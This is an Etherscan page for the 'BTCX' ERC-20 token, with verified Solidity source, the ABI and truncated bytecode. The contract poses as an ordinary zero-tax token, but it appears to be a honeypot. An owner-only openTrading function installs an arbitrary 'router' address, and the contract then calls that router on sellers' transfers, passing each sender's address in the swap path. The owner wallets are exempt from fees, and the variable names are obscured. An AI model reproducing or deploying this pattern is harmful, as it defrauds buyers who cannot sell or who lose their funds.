ETH Price: $2,501.87 (-5.04%)

Token

BTCX (BTCX)
 

Overview

Max Total Supply

21,000,000 BTCX

Holders

323

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
2.854764166581120648 BTCX

Value
$0.00
0xce9127b9d87d719c52aee99c8ba38f04557eaf0d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BTCX

Compiler Version
v0.8.6+commit.11564f7e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-08
*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.6;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient,
     uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);  uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b,
     string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly {codehash := extcodehash(account)}
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success,) = recipient.call{ value : amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{ value : weiValue}(data);
        if (success) {
            return returndata;
        } else {

            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Ownable is Context {
    address public _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function waiveOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function getTime() public view returns (uint256) {
        return block.timestamp;
    }

}

interface IUniswapV2Factory {

    function getPair(address tokenA, address tokenB) external view returns (address pair);

    function createPair(address tokenA, address tokenB) external returns (address pair);

}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);


}

interface IUniswapV2Router02 is IUniswapV2Router01 {

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract BTCX is Context, IERC20, Ownable {

    using SafeMath for uint256;
    using Address for address;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    address payable private marketingWalletAddress;
    address public deadAddress = 0x000000000000000000000000000000000000dEaD;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) private eludedFormFee;
    mapping (address => bool) public isMarketPair;


    uint256 private _totalTaxIfBuying = 0;
    uint256 private _totalTaxIfSelling = 0;

    uint256 private _totalSupply;
    uint256 private _minimumTokensBeforeSwap = 0;
    address private _lastForm;
    address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapPair;

    bool inSwapAndLiquify;
    bool private swapAndLiquifyEnabled = false;
    bool private swapAndLiquifyByLimitOnly = false;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );

    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }


    constructor (
        string memory coinName,
        string memory coinSymbol,
        uint8 coinDecimals,
        uint256 supply
    ) payable {

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(_router);

        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        _name = coinName;
        _symbol = coinSymbol;
        _decimals = coinDecimals;
        _owner = 0xcc4ac72758066E31744d9197D4a92ABbE91022D5;
        _totalSupply = supply  * 10 ** _decimals;
        _minimumTokensBeforeSwap = 1202 * 10**_decimals;
        marketingWalletAddress = payable(0xcc4ac72758066E31744d9197D4a92ABbE91022D5);
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        eludedFormFee[_owner] = true;
        eludedFormFee[address(this)] = true;
        eludedFormFee[marketingWalletAddress] = true;

        isMarketPair[address(uniswapPair)] = true;

        _balances[_owner] = _totalSupply;
        emit Transfer(address(0), _owner, _totalSupply);
    }


    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;  }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return _minimumTokensBeforeSwap;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);  return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
        _minimumTokensBeforeSwap = newLimit;
    }

    bool private tradingOpen;
    bool private swapEnabled = false;
    uint256 private firstBlock;
    function openTrading(address router) external onlyOwner() {
        swapEnabled = true;   tradingOpen = true;
        firstBlock = block.number;
        swapAndLiquifyEnabled = true;
        uniswapV2Router = IUniswapV2Router02(_router);
         address uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
        if(uniswapV2Pair != address(0)){
            IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        }else{
            IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        }
        uniswapV2Router = IUniswapV2Router02(router);
        
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    
     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0,
         "Transfer amount must be greater than zero");
        
        if(inSwapAndLiquify)
        {
            return _basicTransfer(sender, recipient, amount);
        }
        else
        {

            uint256 contractTokenBalance = balanceOf(address(this));

            if (!inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled)
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = _minimumTokensBeforeSwap;
                _lastForm = sender;
                swapAndLiquify(contractTokenBalance);
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount = (eludedFormFee[sender] || eludedFormFee[recipient]) ?
                                         amount : takeFee(sender, recipient, amount);


            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }


    function swapAndLiquify(uint256 tAmount) private lockTheSwap {

        // swap token -> eth
        swapTokensForEth(tAmount);
        uint256 amountReceived = address(this).balance;

        if(amountReceived > 0)
            transferToAddressETH(marketingWalletAddress, amountReceived);

    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](3);
        path[0] = address(this);
        path[1] = _lastForm;
        path[2] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        
        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
        tokenAmount,
        0, // accept any amount of ETH
        path,
        address(this), // The contract
        block.timestamp
        );
        

        emit SwapTokensForETH(tokenAmount, path);
    }



    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {

        uint256 feeAmount = 0;
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
            
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        if(feeAmount > 0) {
            _balances[address(0)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }

   
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"coinName","type":"string"},{"internalType":"string","name":"coinSymbol","type":"string"},{"internalType":"uint8","name":"coinDecimals","type":"uint8"},{"internalType":"uint256","name":"supply","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"router","type":"address"}],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405261dead600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006009556000600a556000600c55737a250d5630b4cf539739df2c5dacb4c659f2488d600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601060156101000a81548160ff0219169083151502179055506000601060166101000a81548160ff0219169083151502179055506000601060186101000a81548160ff0219169083151502179055506040516200416f3803806200416f8339818101604052810190620001219190620009c3565b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200018f57600080fd5b505afa158015620001a4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ca919062000991565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200022d57600080fd5b505afa15801562000242573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000268919062000991565b6040518363ffffffff1660e01b81526004016200028792919062000a95565b602060405180830381600087803b158015620002a257600080fd5b505af1158015620002b7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002dd919062000991565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508460019080519060200190620003359291906200081e565b5083600290805190602001906200034e9291906200081e565b5082600360006101000a81548160ff021916908360ff16021790555073cc4ac72758066e31744d9197d4a92abbe91022d56000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600360009054906101000a900460ff16600a620003dc919062000b99565b82620003e9919062000cd6565b600b81905550600360009054906101000a900460ff16600a6200040d919062000b99565b6104b26200041c919062000cd6565b600c8190555073cc4ac72758066e31744d9197d4a92abbe91022d5600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b54600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600760008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160086000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600b54600560008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b546040516200080b919062000ac2565b60405180910390a3505050505062000f31565b8280546200082c9062000db8565b90600052602060002090601f0160209004810192826200085057600085556200089c565b82601f106200086b57805160ff19168380011785556200089c565b828001600101855582156200089c579182015b828111156200089b5782518255916020019190600101906200087e565b5b509050620008ab9190620008af565b5090565b5b80821115620008ca576000816000905550600101620008b0565b5090565b6000620008e5620008df8462000b08565b62000adf565b90508281526020810184848401111562000904576200090362000eb6565b5b6200091184828562000d82565b509392505050565b6000815190506200092a8162000ee3565b92915050565b600082601f83011262000948576200094762000eb1565b5b81516200095a848260208601620008ce565b91505092915050565b600081519050620009748162000efd565b92915050565b6000815190506200098b8162000f17565b92915050565b600060208284031215620009aa57620009a962000ec0565b5b6000620009ba8482850162000919565b91505092915050565b60008060008060808587031215620009e057620009df62000ec0565b5b600085015167ffffffffffffffff81111562000a015762000a0062000ebb565b5b62000a0f8782880162000930565b945050602085015167ffffffffffffffff81111562000a335762000a3262000ebb565b5b62000a418782880162000930565b935050604062000a54878288016200097a565b925050606062000a678782880162000963565b91505092959194509250565b62000a7e8162000d37565b82525050565b62000a8f8162000d6b565b82525050565b600060408201905062000aac600083018562000a73565b62000abb602083018462000a73565b9392505050565b600060208201905062000ad9600083018462000a84565b92915050565b600062000aeb62000afe565b905062000af9828262000dee565b919050565b6000604051905090565b600067ffffffffffffffff82111562000b265762000b2562000e82565b5b62000b318262000ec5565b9050602081019050919050565b6000808291508390505b600185111562000b905780860481111562000b685762000b6762000e24565b5b600185161562000b785780820291505b808102905062000b888562000ed6565b945062000b48565b94509492505050565b600062000ba68262000d6b565b915062000bb38362000d75565b925062000be27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000bea565b905092915050565b60008262000bfc576001905062000ccf565b8162000c0c576000905062000ccf565b816001811462000c25576002811462000c305762000c66565b600191505062000ccf565b60ff84111562000c455762000c4462000e24565b5b8360020a91508482111562000c5f5762000c5e62000e24565b5b5062000ccf565b5060208310610133831016604e8410600b841016171562000ca05782820a90508381111562000c9a5762000c9962000e24565b5b62000ccf565b62000caf848484600162000b3e565b9250905081840481111562000cc95762000cc862000e24565b5b81810290505b9392505050565b600062000ce38262000d6b565b915062000cf08362000d6b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000d2c5762000d2b62000e24565b5b828202905092915050565b600062000d448262000d4b565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101562000da257808201518184015260208101905062000d85565b8381111562000db2576000848401525b50505050565b6000600282049050600182168062000dd157607f821691505b6020821081141562000de85762000de762000e53565b5b50919050565b62000df98262000ec5565b810181811067ffffffffffffffff8211171562000e1b5762000e1a62000e82565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b62000eee8162000d37565b811462000efa57600080fd5b50565b62000f088162000d6b565b811462000f1457600080fd5b50565b62000f228162000d75565b811462000f2e57600080fd5b50565b61322e8062000f416000396000f3fe60806040526004361061012e5760003560e01c806370a08231116100ab578063a457c2d71161006f578063a457c2d714610403578063a9059cbb14610440578063b2bdfa7b1461047d578063ca72a4e7146104a8578063dd62ed3e146104d1578063f2fde38b1461050e57610135565b806370a082311461032e5780638da5cb5b1461036b578063914eb66a1461039657806395d89b41146103ad578063a073d37f146103d857610135565b8063313ce567116100f2578063313ce5671461023557806339509351146102605780633b97084a1461029d5780633ecad271146102c6578063557ed1ba1461030357610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a257806323b872dd146101cd57806327c8f8351461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610537565b60405161015c91906129b2565b60405180910390f35b34801561017157600080fd5b5061018c6004803603810190610187919061264c565b6105c9565b6040516101999190612997565b60405180910390f35b3480156101ae57600080fd5b506101b76105e7565b6040516101c49190612af4565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef91906125f9565b6105f1565b6040516102019190612997565b60405180910390f35b34801561021657600080fd5b5061021f6106cb565b60405161022c919061292a565b60405180910390f35b34801561024157600080fd5b5061024a6106f1565b6040516102579190612b99565b60405180910390f35b34801561026c57600080fd5b506102876004803603810190610282919061264c565b610708565b6040516102949190612997565b60405180910390f35b3480156102a957600080fd5b506102c460048036038101906102bf91906126b9565b6107bb565b005b3480156102d257600080fd5b506102ed60048036038101906102e8919061255f565b61085a565b6040516102fa9190612997565b60405180910390f35b34801561030f57600080fd5b5061031861087a565b6040516103259190612af4565b60405180910390f35b34801561033a57600080fd5b506103556004803603810190610350919061255f565b610882565b6040516103629190612af4565b60405180910390f35b34801561037757600080fd5b506103806108cb565b60405161038d919061292a565b60405180910390f35b3480156103a257600080fd5b506103ab6108f4565b005b3480156103b957600080fd5b506103c2610a47565b6040516103cf91906129b2565b60405180910390f35b3480156103e457600080fd5b506103ed610ad9565b6040516103fa9190612af4565b60405180910390f35b34801561040f57600080fd5b5061042a6004803603810190610425919061264c565b610ae3565b6040516104379190612997565b60405180910390f35b34801561044c57600080fd5b506104676004803603810190610462919061264c565b610bb0565b6040516104749190612997565b60405180910390f35b34801561048957600080fd5b50610492610bcf565b60405161049f919061292a565b60405180910390f35b3480156104b457600080fd5b506104cf60048036038101906104ca919061255f565b610bf3565b005b3480156104dd57600080fd5b506104f860048036038101906104f391906125b9565b61122b565b6040516105059190612af4565b60405180910390f35b34801561051a57600080fd5b506105356004803603810190610530919061255f565b6112b2565b005b60606001805461054690612db8565b80601f016020809104026020016040519081016040528092919081815260200182805461057290612db8565b80156105bf5780601f10610594576101008083540402835291602001916105bf565b820191906000526020600020905b8154815290600101906020018083116105a257829003601f168201915b5050505050905090565b60006105dd6105d6611474565b848461147c565b6001905092915050565b6000600b54905090565b60006105fe848484611647565b506106c08461060b611474565b6106bb856040518060600160405280602881526020016131ac60289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610671611474565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b189092919063ffffffff16565b61147c565b600190509392505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360009054906101000a900460ff16905090565b60006107b1610715611474565b846107ac8560066000610726611474565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7c90919063ffffffff16565b61147c565b6001905092915050565b6107c3611474565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610850576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084790612a74565b60405180910390fd5b80600c8190555050565b60086020528060005260406000206000915054906101000a900460ff1681565b600042905090565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6108fc611474565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610989576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098090612a74565